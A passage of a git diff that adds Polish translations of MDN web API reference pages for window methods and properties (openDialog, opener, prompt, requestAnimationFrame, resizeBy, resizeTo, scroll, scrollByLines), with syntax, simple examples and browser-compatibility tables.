href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2, Browser Window Restrictions in XP SP2</a></p> +</blockquote> + +<blockquote> +<p>"(...) windows that are created using the window.open() method can be called by scripts and used to spoof a user interface or desktop or to hide malicious information or activity by sizing the window so that the status bar is not visible.<br> + Internet Explorer windows provide visible security information to the user to help them ascertain the source of the Web page and the security of the communication with that page. When these elements are not in view, the user might think they are on a more trusted page or interacting with a system process when they are actually interacting with a malicious host. (...)<br> + <strong>Script-initiated windows will be displayed fully, with the Internet Explorer title bar and status bar.</strong> (...)<br> + Script management of Internet Explorer status bar<br> + Detailed description<br> + <strong>Internet Explorer has been modified to not turn off the status bar for any windows. The status bar is always visible for all Internet Explorer windows.</strong> (...) Without this change, windows that are created using the window.open() method can be called by scripts and spoof a user interface or desktop or hide malicious information or activity by hiding important elements of the user interface from the user.<br> + The status bar is a security feature of Internet Explorer windows that provides Internet Explorer security zone information to the user. This zone cannot be spoofed (...)"<br> + quote from <a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Internet Explorer Window Restrictions</a></p> +</blockquote> + +<h4 id="Note_on_fullscreen" name="Note_on_fullscreen">Note on fullscreen</h4> + +<p>In MSIE 6 for XP SP2:</p> + +<ul> + <li>"window.open() with fullscreen=yes will now result in a maximized window, not a kiosk mode window."</li> +</ul> + +<ul> + <li>"The definition of the fullscreen=yes specification is changed to mean 'show the window as maximized,' which will keep the title bar, address bar, and status bar visible."</li> +</ul> + +<p><em>References:</em></p> + +<ul> + <li><a class="external" href="http://msdn.microsoft.com/security/productinfo/xpsp2/default.aspx?pull=/library/en-us/dnwxp/html/xpsp2web.asp#xpsp_topic5">Fine-Tune Your Web Site for Windows XP Service Pack 2</a></li> +</ul> + +<ul> + <li><a class="external" href="http://www.microsoft.com/technet/prodtechnol/winxppro/maintain/sp2brows.mspx#ECAA">Changes to Functionality in Microsoft Windows XP Service Pack 2, Script sizing of Internet Explorer windows</a></li> +</ul> + +<h4 id="Note_on_outerHeight_versus_height" name="Note_on_outerHeight_versus_height">Note on outerHeight versus height</h4> + +<p><img alt="innerHeight vs outerHeight illustration"></p> + +<h2 id="Tutorials" name="Tutorials">Tutorials</h2> + +<p><a class="external" href="http://www.infimum.dk/HTML/JSwindows.html">JavaScript windows (tutorial)</a> by Lasse Reichstein Nielsen</p> + +<p><a class="external" href="http://www.accessify.com/tutorials/the-perfect-pop-up.asp">The perfect pop-up (tutorial)</a> by Ian Lloyd</p> + +<p><a class="external" href="http://www.gtalbot.org/FirefoxSection/Popup/PopupAndFirefox.html">Popup windows and Firefox (interactive demos)</a> by Gérard Talbot</p> + +<h2 id="References" name="References">References</h2> + +<p><a class="external" href="http://www.cs.tut.fi/~jkorpela/www/links.html">Links Want To Be Links</a> by Jukka K. Korpela</p> + +<p><a class="external" href="http://www.evolt.org/article/Links_and_JavaScript_Living_Together_in_Harmony/17/20938/">Links & JavaScript Living Together in Harmony</a> by Jeff Howden</p> diff --git a/files/pl/web/api/window/opendialog/index.html b/files/pl/web/api/window/opendialog/index.html new file mode 100644 index 0000000000..6d24bf03fd --- /dev/null +++ b/files/pl/web/api/window/opendialog/index.html @@ -0,0 +1,75 @@ +--- +title: window.openDialog +slug: Web/API/Window/openDialog +tags: + - DOM + - DOM_0 + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/Window/openDialog +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p><code>window.openDialog</code> jest rozszerzeniem do <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>. Zachowuje się w taki sam sposób, oprócz tego, że opcjonalnie pobiera jeden lub więcej parametrów przeszłego <code>windowFeatures</code> i <code>windowFeatures</code> <strong>itself is treated a little differently.</strong></p> +<p>The optional parameters, if present, will be bundled up in a JavaScript Array object and added to the newly created window as a property named <a href="/pl/DOM/window.arguments" title="pl/DOM/window.arguments">window.arguments</a>. They may be referenced in the JavaScript of the window at any time, including during the execution of a <code>load</code> handler. These parameters may be used, then, to pass arguments to and from the dialog window.</p> +<p>Note that the call to <code>openDialog()</code> returns immediately. If you want the call to block until the user has closed the dialog, supply <code>modal</code> as a <code>windowFeatures</code> parameter. Note that this also means the user won't be able to interact with the opener window until he closes the modal dialog.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><em>newWindow</em> = openDialog(<em>url</em>, <em>name</em>, <em>features</em>, <em>arg1</em>, <em>arg2</em>, ...) +</pre> +<dl> + <dt> + newWindow </dt> + <dd> + Otwarte okno.</dd> + <dt> + url </dt> + <dd> + Adres URL który będzie wczytany do nowego okna.</dd> + <dt> + name </dt> + <dd> + Nazwa okna (opcjonalnie). Zobacz opis <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>, aby dowiedzieć się więcej.</dd> + <dt> + features </dt> + <dd> + Zobacz opis <a href="/pl/DOM/window.open" title="pl/DOM/window.open">window.open</a>, aby dowiedzieć się więcej.</dd> + <dt> + arg1, arg2, ... </dt> + <dd> + Argumenty dopasowujące nowe okno (opcjonalnie).</dd> +</dl> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var win = openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "", "pizza", 6.98); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<h4 id="Nowe_mo.C5.BCliwo.C5.9Bci" name="Nowe_mo.C5.BCliwo.C5.9Bci">Nowe możliwości</h4> +<p><code>all</code> - Initially activates (or deactivates <code>("all=no")</code>) all chrome (except the behaviour flags <code>chrome</code>, <code>dialog</code> and <code>modal</code>). These can be overridden (so <code>"menubar=no,all"</code> turns on all chrome except the menubar.) This feature is explicitly ignored by <a href="/pl/DOM/window.open" title="pl/DOM/window.open">DOM:window.open</a>. <code>window.openDialog</code> finds it useful because of its different default assumptions.</p> +<h4 id="Domy.C5.9Blne_zachowanie" name="Domy.C5.9Blne_zachowanie">Domyślne zachowanie</h4> +<p>Możliwości <code>chrome</code> i <code>dialog</code> są zawsze assumed on, unless explicitly turned off ("<code>chrome=no</code>"). <code>openDialog</code> treats the absence of the features parameter as does <a href="/pl/DOM/window.open" title="pl/DOM/window.open">DOM:window.open</a>, (that is, an empty string sets all features to off) except <code>chrome</code> and <code>dialog</code>, which default to on. If the <code>features</code> parameter is a zero-length string, or contains only one or more of the behaviour features (<code>chrome</code>, <code>dependent</code>, <code>dialog</code> and <code>modal</code>) the chrome features are assumed "OS' choice." That is, window creation code is not given specific instructions, but is instead allowed to select the chrome that best fits a dialog on that operating system.</p> +<h4 id="Passing_extra_parameters_to_the_dialog" name="Passing_extra_parameters_to_the_dialog">Passing extra parameters to the dialog</h4> +<p>To pass extra parameters into the dialog, you can simply supply them after the <code>windowFeatures</code> parameter:</p> +<pre class="eval">openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "", "pizza", 6.98); +</pre> +<p>The extra parameters will then get packed into a property named <code>arguments</code> of type <a href="/pl/Core_JavaScript_1.5_Reference/Global_Objects/Array" title="pl/Core_JavaScript_1.5_Reference/Global_Objects/Array">Array</a>, and this property gets added to the newly opened dialog window.</p> +<p>To access these extra parameters from within dialog code, use the following scheme:</p> +<pre class="eval">var food = window.arguments[0]; +var price = window.arguments[1]; +</pre> +<p>Note that you can access this property from within anywhere in the dialog code.</p> +<h4 id="Zwracanie_warto.C5.9Bci_z_okienka_dialogowego" name="Zwracanie_warto.C5.9Bci_z_okienka_dialogowego">Zwracanie wartości z okienka dialogowego</h4> +<p>Since <code>window.close()</code> erases all properties associated with the dialog window (i.e. the variables specified in the JavaScript code which gets loaded from the dialog), it is not possible to pass return values back past the close operation using globals (or any other constructs).</p> +<p>To be able to pass values back to the caller, you have to supply some object via the extra parameters. You can then access this object from within the dialog code and set properties on it, containing the values you want to return or preserve past the <code>window.close()</code> operation.</p> +<pre class="eval">var retVals = { address: null, delivery: null }; +openDialog("<span class="nowiki">http://example.tld/zzz.xul</span>", "dlg", "modal", "pizza", 6.98, retVals); +</pre> +<p>If you set the properties of the <code>retVals</code> object in the dialog code as described below, you can now access them via the <code>retVals</code> array after the <code>openDialog()</code> call returns.</p> +<p>Inside the dialog code, you can set the properties as follows:</p> +<pre class="eval">var retVals = window.arguments[2]; +retVals.address = enteredAddress; +retVals.delivery = "immediate"; +</pre> +<p>Zobacz także .</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> diff --git a/files/pl/web/api/window/opener/index.html b/files/pl/web/api/window/opener/index.html new file mode 100644 index 0000000000..3cd744928e --- /dev/null +++ b/files/pl/web/api/window/opener/index.html @@ -0,0 +1,49 @@ +--- +title: window.opener +slug: Web/API/Window/opener +tags: + - API + - HTML DOM + - Window + - Własność + - odniesienie + - opener +translation_of: Web/API/Window/opener +--- +<p>{{APIRef("HTML DOM")}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Właściwość <code>opener</code> obiektu {{domxref ("Window")}} zwraca odniesienie do okna, które otworzyło okno używając {{domxref ("Window.open", "open()")}}.</p> + +<p><span class="tlid-translation translation"><span title="">Innymi słowy, jeśli okno <code>A</code> otwiera okno <code>B</code>, <code>B.opener</code> zwraca <code>A</code>.</span></span></p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="eval"><em>openerWindow</em> = window.opener; +</pre> + +<h3 id="Wartość">Wartość</h3> + +<p>{{domxref ("Window")}} odnosi się do okna, które wywołało open(), aby otworzyć bieżące okno, lub <code>null</code>, jeśli to okno nie zostało otwarte przez połączenie z innym lub utworzone przez inne.</p> + +<p><span class="tlid-translation translation"><span title="">W <a href="https://caniuse.com/#search=noopener">niektórych przeglądarkach</a> atrybut <code>rel="noopener noreferrer"</code> w początkowym elemencie {{HTMLElement ("a")}} zapobiega ustawianiu referencji <strong><code>window.opener</code></strong>, w którym to przypadku ta właściwość zwróci wartość <code>null</code>.</span></span></p> + +<h2 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h2> + +<pre> if window.opener != indexWin { + referToTop(window.opener); + } +</pre> + +<h2 id="Uwagi" name="Uwagi">Uwagi</h2> + +<p>Kiedy okno jest otwarte z innego okna, to utrzymuje referencję do pierwszego okna jako <strong>window.opener</strong>. Jeśli bieżące okno nie posiada własności opener, te metoda zwróci NULL.</p> + +<h2 id="Specyfikacja" name="Specyfikacja">Wsparcie przeglądarek</h2> + +<div class="hidden"> +<p><span class="tlid-translation translation"><span title="">Tabela zgodności na tej stronie jest generowana na podstawie danych strukturalnych.</span> <span title="">Jeśli chcesz przyczynić się do danych, sprawdź <a href="/pl/docs/">https://github.com/mdn/browser-compat-data</a> i wyślij nam pull request'a.</span></span></p> +</div> + +<p>{{Compat("api.Window.opener")}}</p> diff --git a/files/pl/web/api/window/prompt/index.html b/files/pl/web/api/window/prompt/index.html new file mode 100644 index 0000000000..0a90ac5c2e --- /dev/null +++ b/files/pl/web/api/window/prompt/index.html @@ -0,0 +1,33 @@ +--- +title: window.prompt +slug: Web/API/Window/prompt +translation_of: Web/API/Window/prompt +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Wyświetla okno dialogowe z prośbą do użytkownika o wpisanie jakiegoś tekstu.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval"><i>result</i> = window.prompt(<i>text</i>,<i>value</i>); +</pre> +<ul> + <li><code>result</code> jest łańcuchem znaków, który zawiera tekst wprowadzony przez użytkownika lub wartość null.</li> + <li><code>text</code> jest łańcuchem znaków określającym tekst, jaki ma zostać wyświetlony użytkownikowi.</li> + <li><code>value</code> jest łańcuchem znaków zawierającym domyślną wartość w polu wprowadzania tekstu (input). Jest to opcjonalny parametr.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">var sign = prompt("Jaki jest twój znak zodiaku?"); +if (sign.toLowerCase() == "skorpion") + alert("Wow! Też jestem Skorpionem!"); +</pre> +<p>Gdy użytkownik naciśnie przycisk OK, zwracany jest wpisany przez niego tekst. Jeśli użytkownik naciśnie przycisk OK bez wprowadzania tekstu, zwrócony zostanie pusty łańcuch znaków. Jeśli użytkownik naciśnie przycisk Anuluj, ta funkcja zwróci wartość null.</p> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Okno dialogowe typu prompt zawiera pole tekstowe o wielkości pojedynczej linii, przycisk Anuluj i przycisk OK oraz zwraca tekst (możliwy również pusty), które użytkownik wpisał w to pole tekstowe.</p> +<p><span class="comment">The following text is shared between this article, DOM:window.confirm and DOM:window.alert</span> Okna dialogowe to okna modalne - uniemożliwiają użytkownikowi dostęp do reszty interfejsu programu dopóki okno nie zostanie zamknięte. Z tego powodu nie powinieneś nadużywać funkcji, które otwierają okna dialogowe.</p> +<p>Zamiast tego użytkownicy Chrome (na przykład rozszerzenia) powinni używać metod <a href="https://developer.mozilla.org/en-US/docs/XPCOM_Interface_Reference/nsIPromptService">nsIPromptService</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>{{ DOM0() }}</p> +<h3 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h3> +<p><a href="pl/DOM/window.alert">alert</a>, <a href="pl/DOM/window.confirm">confirm</a></p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.prompt", "fr": "fr/DOM/window.prompt", "ja": "ja/DOM/window.prompt" } ) }}</p> diff --git a/files/pl/web/api/window/requestanimationframe/index.html b/files/pl/web/api/window/requestanimationframe/index.html new file mode 100644 index 0000000000..703a908e8d --- /dev/null +++ b/files/pl/web/api/window/requestanimationframe/index.html @@ -0,0 +1,170 @@ +--- +title: Window.requestAnimationFrame() +slug: Web/API/Window/requestAnimationFrame +tags: + - API + - DOM + - Metodă +translation_of: Web/API/window/requestAnimationFrame +--- +<p>{{APIRef}}<br> + Metoda <strong><code>Window.requestAnimationFrame()</code></strong> informuje przeglądarkę o zamiarze wykonania animacji i żąda od przeglądarki wywołania określonej funkcji w celu odświeżenia animacji przed następnym odmalowaniem. Argumentem metody jest funkcja (<em>callback</em>) do wywołania przed następnym odmalowaniem (odświeżeniem kanwy).</p> + +<div class="note"><strong>Uwaga:</strong> Twoja funkcja musi samodzielnie wywołać <code>requestAnimationFrame(),</code> jeżeli chcesz odmalować kolejną ramkę animacji.</div> + +<p>Należy wywołać tą metodą za każdym razem, gdy jesteś gotowy do odświeżenia swojej animacji na ekranie. Spowoduje to żądanie od przeglądarki wykonania twojej funkcji przed następnym odmalowaniem. Częstotliwość wykonywania funkcji wynosi zazwyczaj 60 razy na sekundę, jednakże według rekomendacji W3C w większości przeglądarek odpowiada częstotliwości odświeżania ekranu. Ta częstotliwość może zostać zredukowana do niższej wartości, gdy kod wykonywany jest w zakładce pozostającej w tle lub w ukrytej {{ HTMLElement("iframe") }} w celu poprawienia wydajności lub przedłużenia żywotności baterii.</p> + +<p>Wywoływanej funkcji przekazywany jest pojedynczy argument {{domxref("DOMHighResTimeStamp")}}, który zawiera aktualny czas rozpoczęcia wykonywania tej funkcji, wstawionej do kolejki przez wywołanie <code>requestAnimationFrame</code>. Wiele różnych funkcji wywołanych w jednej ramce otrzyma jednakże tę samą wartość znacznika czasu, niezależnie od czasu spędzonego wykonaniu obliczeń w poprzedzającej funkcji. Znacznik czasu jest liczbą dziesiętną wyrażoną w milisekundach z maksymalną dokładnością 1ms (1000 µs).</p> + +<h2 id="Syntax" name="Syntax">Składnia</h2> + +<pre class="syntaxbox">window.requestAnimationFrame(callback); +</pre> + +<h3 id="Parameters" name="Parameters">Parametry</h3> + +<dl> + <dt><code>callback</code></dt> + <dd>Parametr określający funkcję do wywołania, gdy nadchodzi czas odświeżenia animacji przed następnym odmalowaniem. Przekazywana funkcja przyjmuje pojedynczy argument {{domxref("DOMHighResTimeStamp")}}, który określa aktualny czas (zwrócony przez {{domxref('Performance.now()')}} ) w momencie rozpoczęcia przez <code>requestAnimationFrame</code> uruchamiania skolejkowanych wcześniej funkcji.</dd> +</dl> + +<h3 id="Wartość_zwracana">Wartość zwracana</h3> + +<p>Wartość typu <code>long</code> integer będącą identyfikatorem żądania, który unikalnie określa pozycję na liście funkcji do wykonania. Jest to niezerowa wartość, jednakże nie wolno przyjmować żadnych innych założeń dotyczących wartości tego identyfikatora. Możesz przekazać tę wartość do {{domxref("Window.cancelAnimationFrame()")}} aby anulować żądanie wywołania funkcji do odświeżenia.</p> + +<h2 id="Notes" name="Notes">Przykład</h2> + +<pre class="brush: js">var start = null; +var element = document.getElementById("SomeElementYouWantToAnimate"); + +function step(timestamp) { + if (!start) start = timestamp; + var progress = timestamp - start; + element.style.left = Math.min(progress/10, 200) + "px"; + if (progress < 2000) { + window.requestAnimationFrame(step); + } +} + +window.requestAnimationFrame(step); +</pre> + +<h2 id="Specification" name="Specification">Specyfikacja</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#animation-frames', 'requestAnimationFrame')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Brak zmian, zastępuje poprzednią.</td> + </tr> + <tr> + <td>{{SpecName('RequestAnimationFrame', '#dom-windowanimationtiming-requestanimationframe', 'requestAnimationFrame')}}</td> + <td>{{Spec2('RequestAnimationFrame')}}</td> + <td>Wstępna definicja</td> + </tr> + </tbody> +</table> + +<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>10.0 {{property_prefix("webkit")}}<br> + 24.0 <sup>3</sup></td> + <td>4.0 {{property_prefix("moz")}} <sup>1 4</sup><br> + 23 <sup>2</sup></td> + <td>10.0</td> + <td>{{compatversionunknown}} {{property_prefix("-o")}}<br> + 15.0</td> + <td>6.0 {{property_prefix("webkit")}}<br> + 6.1</td> + </tr> + <tr> + <td>return value</td> + <td>23.0</td> + <td>{{CompatGeckoDesktop("11.0")}}</td> + <td>10.0</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Basic support</td> + <td>4.4</td> + <td>16.0 {{property_prefix("webkit")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>14.0</td> + <td>7.0<br> + 6.0 {{property_prefix("webkit")}}</td> + </tr> + <tr> + <td><code>requestID</code> return value</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("11.0")}} {{property_prefix("moz")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p><sup>1</sup> Przed Gecko 11.0 {{geckoRelease("11.0")}}, <code>mozRequestAnimationFrame()</code> mogłobyć wywołane bez parametru. To nie jest dalej wspierane, gdyż raczej nie stanie się częścią standardu.</p> + +<p><sup>2</sup> Parametrem wywoływanej funkcji jest {{domxref("DOMTimeStamp")}} zamiast {{domxref("DOMHighResTimeStamp")}} gdy stosuje się metodę z prefiksem. <code>DOMTimeStamp</code> ma dokładność tylko do milisekundy, podczas gdy <code>DOMHighResTimeStamp</code> ma minimalną dokładność dziesięciu mikrosekund. Co więcej, czas zerowy jest inny: <code>DOMHighResTimeStamp</code> ma taki sam czas zerowy jak <code>performance.now()</code>, lecz <code>DOMTimeStamp</code> ma czas zerowy jak <code>Date.now().</code></p> + +<p><sup>3</sup> Poprawnym wywołaniem anulowania żądania w Chrome jest aktualnie <code>window.cancelAnimationFrame()</code>. W starszych wersjach <code>window.webkitCancelAnimationFrame()</code> & <code>window.webkitCancelRequestAnimationFrame()</code>, które są przestarzałe, ale ciągle wspierane.</p> + +<p><sup>4</sup> Wsparcie dla wersji z prefiksem zostało usunięte z Firefox 42.</p> + +<h2 id="Specification" name="Specification">Zobacz również</h2> + +<ul> + <li>{{domxref("Window.mozAnimationStartTime")}}</li> + <li>{{domxref("Window.cancelAnimationFrame()")}}</li> + <li><a href="http://weblogs.mozillazine.org/roc/archives/2010/08/mozrequestanima.html">mozRequestAnimationFrame</a> - Blog post</li> + <li><a href="http://paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for smart animating</a> - Blog post</li> + <li><a href="http://hacks.mozilla.org/2011/08/animating-with-javascript-from-setinterval-to-requestanimationframe/">Animating with javascript: from setInterval to requestAnimationFrame</a> - Blog post</li> + <li><a href="http://blogs.msdn.com/b/ie/archive/2011/07/05/using-pc-hardware-more-efficiently-in-html5-new-web-performance-apis-part-1.aspx">Using PC Hardware more efficiently in HTML5: New Web Performance APIs, Part 1</a> - Blog post</li> + <li><a href="http://www.testufo.com/#test=animation-time-graph" title="http://www.testufo.com/#test=animation-time-graph">TestUFO: Test your web browser for requestAnimationFrame() Timing Deviations</a></li> + <li>Paul Irish: <a class="external external-icon" href="http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/" title="http://www.paulirish.com/2011/requestanimationframe-for-smart-animating/">requestAnimationFrame for Smart Animating</a></li> + <li>Paul Irish: <a class="external external-icon" href="http://updates.html5rocks.com/2012/05/requestAnimationFrame-API-now-with-sub-millisecond-precision">requestAnimationFrame API: now with sub-millisecond precision</a></li> +</ul> diff --git a/files/pl/web/api/window/resizeby/index.html b/files/pl/web/api/window/resizeby/index.html new file mode 100644 index 0000000000..df817ea665 --- /dev/null +++ b/files/pl/web/api/window/resizeby/index.html @@ -0,0 +1,32 @@ +--- +title: window.resizeBy +slug: Web/API/Window/resizeBy +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/resizeBy +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Zmienia rozmiar okna o pewną wartość.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.resizeBy(<i>xDelta</i>,<i>yDelta</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>xDelta</code> jest liczbą pikseli o jaką ma wzrosnąć okno w poziomie.</li> + <li><code>yDelta</code> jest liczbą pikseli o jaką ma wzrosnąć okno w pionie.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre>// Spowoduje zmniejszenie się okna +window.resizeBy(-200, -200); +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Ta metoda zmienia rozmiar okna relatywnie do jego obecnego rozmiaru. Aby zmienić rozmiar okna bezwzględnie zastosuj <a href="pl/DOM/window.resizeTo">DOM:window.resizeTo</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.resizeBy", "ja": "ja/DOM/window.resizeBy" } ) }}</p> diff --git a/files/pl/web/api/window/resizeto/index.html b/files/pl/web/api/window/resizeto/index.html new file mode 100644 index 0000000000..532b561993 --- /dev/null +++ b/files/pl/web/api/window/resizeto/index.html @@ -0,0 +1,36 @@ +--- +title: window.resizeTo +slug: Web/API/Window/resizeTo +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/resizeTo +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Dynamicznie zmienia rozmiar okna.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.resizeTo(<i>iWidth</i>,<i>iHeight</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>iWidth</code> jest liczbą całkowitą reprezentującą nową szerokość wyrażoną w pikselach.</li> + <li><code>iHeight</code> jest liczbą całkowitą wartości reprezentującej nową wyskość w pikselach.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> // funkcja zmienia rozmiar okna do połowy aktualnie + // wyświetlanego ekranu + function halve() { + window.resizeTo(window.screen.availWidth/2, + window.screen.availHeight/2); + } +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz także <a href="pl/DOM/window.resizeBy">DOM:window.resizeBy</a>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.resizeTo", "ja": "ja/DOM/window.resizeTo" } ) }}</p> diff --git a/files/pl/web/api/window/scroll/index.html b/files/pl/web/api/window/scroll/index.html new file mode 100644 index 0000000000..3aeacc5f9a --- /dev/null +++ b/files/pl/web/api/window/scroll/index.html @@ -0,0 +1,33 @@ +--- +title: window.scroll +slug: Web/API/Window/scroll +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/scroll +--- +<p> </p> +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przesuwa się do danych koordynatów w dokumencie.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.scroll(<i>x-coord</i>,<i>y-coord</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>x-coord</code> jest pikselem wzdłuż poziomej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li> + <li><code>y-coord</code> jest pikselem wzdłuż pionowej osi dokumentu do wyświetlenia, w jego lewym górnym rogu.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre> // przenieś 100-ny piksel poziomy na górę okna + <button onClick="scroll(0, 100);">kliknij, by przesunąć się o 100 pikseli w dół </button> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Powyższa funkcja jest tym co funkcja <code><a href="pl/DOM/window.scrollTo">window.scrollTo</a></code>. Dla przesuwu względnego zobacz <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByLines">window.scrollByLines</a></code> oraz <code><a href="pl/DOM/window.scrollByPages">window.scrollByPages</a></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.scroll", "ja": "ja/DOM/window.scroll" } ) }}</p> diff --git a/files/pl/web/api/window/scrollbylines/index.html b/files/pl/web/api/window/scrollbylines/index.html new file mode 100644 index 0000000000..329171c9c7 --- /dev/null +++ b/files/pl/web/api/window/scrollbylines/index.html @@ -0,0 +1,35 @@ +--- +title: window.scrollByLines +slug: Web/API/Window/scrollByLines +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Window/scrollByLines +--- +<p>{{ ApiRef() }}</p> +<h3 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h3> +<p>Przewija dokument przez daną liczbę linii.</p> +<h3 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h3> +<pre class="eval">window.scrollByLines(<i>lines</i>) +</pre> +<h3 id="Parametry" name="Parametry">Parametry</h3> +<ul> + <li><code>lines</code> jest liczbą linii do przewinięcia w dokumencie.</li> + <li><code>lines</code> może być liczbą całkowitą dodatnią lub ujemną.</li> +</ul> +<h3 id="Przyk.C5.82ad" name="Przyk.C5.82ad">Przykład</h3> +<pre class="eval">// przewija w dół o 5 linii w dokumencie. +<button onclick="scrollByLines(5);">down 5 lines</button> +</pre> +<pre class="eval">// przewija w górę o 5 linii w dokumencie. +<button onclick="scrollByLines(-5);">up 5 lines</button> +</pre> +<h3 id="Uwagi" name="Uwagi">Uwagi</h3> +<p>Zobacz także <code><a href="pl/DOM/window.scrollBy">window.scrollBy</a>, <a href="pl/DOM/window.scrollByPages">window.scrollByPages</a></code>.</p> +<h3 id="Specyfikacja" name="Specyfikacja">Specyfikacja</h3> +<p>DOM poziom 0. Nie jest częścią specyfikacji.</p> +<div class="noinclude"> + </div> +<p>{{ languages( { "en": "en/DOM/window.scrollByLines", "ja": "ja/DOM/window.scrollByLines" } ) }}</p> diff --git a/files/pl/web/api/window/scrollbypages/index.html b/files/pl/web/api/window/scrollbypages/index.html new file mode 100644 index 